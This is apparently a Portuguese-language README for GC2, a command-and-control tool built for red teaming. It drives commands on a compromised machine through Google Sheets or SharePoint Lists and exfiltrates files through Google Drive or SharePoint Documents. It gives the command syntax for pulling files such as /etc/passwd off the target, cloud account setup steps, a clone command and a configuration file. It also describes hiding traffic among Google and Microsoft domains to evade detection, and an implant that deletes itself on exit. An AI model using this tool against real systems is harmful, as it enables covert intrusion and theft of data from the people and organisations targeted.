
GC2 é uma aplicação de Comando e Controle que permite a um atacante executar comandos na máquina alvo usando o Google Sheet ou a Lista do Microsoft SharePoint e exfiltrar arquivos usando o Google Drive ou o Documento do Microsoft SharePoint.
GC2 (Google Command and Control) é uma aplicação de Comando e Controle que permite a um atacante executar comandos na máquina alvo usando o Google Sheet ou a Lista do Microsoft SharePoint e exfiltrar arquivos usando o Google Drive ou o Documento do Microsoft SharePoint.
Este projeto foi desenvolvido para fornecer um comando e controle que não requer nenhuma configuração específica (como: domínio personalizado, VPS, CDN, ...) durante atividades de Red Teaming.
Além disso, o programa interagirá apenas com domínios do Google e da Microsoft (como *.google.com) para dificultar a deteção na rede.
Uma planilha do Google será criada automaticamente pelo C2. Uma vez criada, você pode interagir com o sistema comprometido conforme mostrado abaixo.
Uma Lista do Microsoft SharePoint será criada automaticamente pelo C2. Uma vez criada, você pode interagir com o sistema comprometido conforme mostrado abaixo.
Um comando especial é reservado para exfiltrar arquivos do sistema alvo.
From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd
Nota: arquivos com o mesmo nome são automaticamente sobrescritos.
Um comando especial é reservado para baixar arquivos para o sistema alvo.
From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt
Nota: Os arquivos precisam ser salvos na pasta raiz do SharePoint, geralmente "Documents"
From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt
Ao enviar o comando exit, o C2 se autodestruirá e se excluirá do sistema alvo.
PS: Da documentação do os: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. Neste caso, o symlink é excluído.
Este C2 suporta os serviços do Google (Google Sheet + Google Drive) e da Microsoft (Listas do SharePoint + Documentos do SharePoint). Para usar o C2, você precisa configurar tanto a nuvem quanto a máquina local.
Crie uma nova "conta de serviço" do Google
Crie uma nova "conta de serviço" do Google usando https://console.cloud.google.com/, crie um arquivo de chave .json para a conta de serviço.
Ative a API do Google Sheet e a API do Google Drive
Ative a API do Google Drive https://developers.google.com/drive/api/v3/enable-drive-api e a API do Google Sheet https://developers.google.com/sheets/api/quickstart/go.
Configure o Google Sheet e o Google Drive
Crie um novo Google Sheet e compartilhe-o (como Editor) com a Conta de Serviço (usando seu e-mail).
Crie uma nova pasta no Google Drive e compartilhe-a (como Editor) com a Conta de Serviço (usando seu e-mail).
Para interagir com os serviços da Microsoft, você precisará primeiro de uma assinatura Business (você pode obter uma gratuitamente pelos primeiros 30 dias).
Crie um Aplicativo Azure
Crie um novo Aplicativo Azure conforme descrito aqui https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http
Após criar o novo aplicativo, ative as seguintes APIs do Graph:
Baixe o C2
O C2 pode ser clonado diretamente do GitHub:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Configure o C2
Para configurar o C2, você precisa modificar o arquivo cmd/options.yml. O C2 suporta ambos os serviços do Google e da Microsoft, sendo também possível misturá-los.
Apenas serviços do Google
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Sua chave de conta de serviço do Google deve ser escapada antes de colá-la no arquivo de configuração. Você pode usar o seguinte comando para escapá-la:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'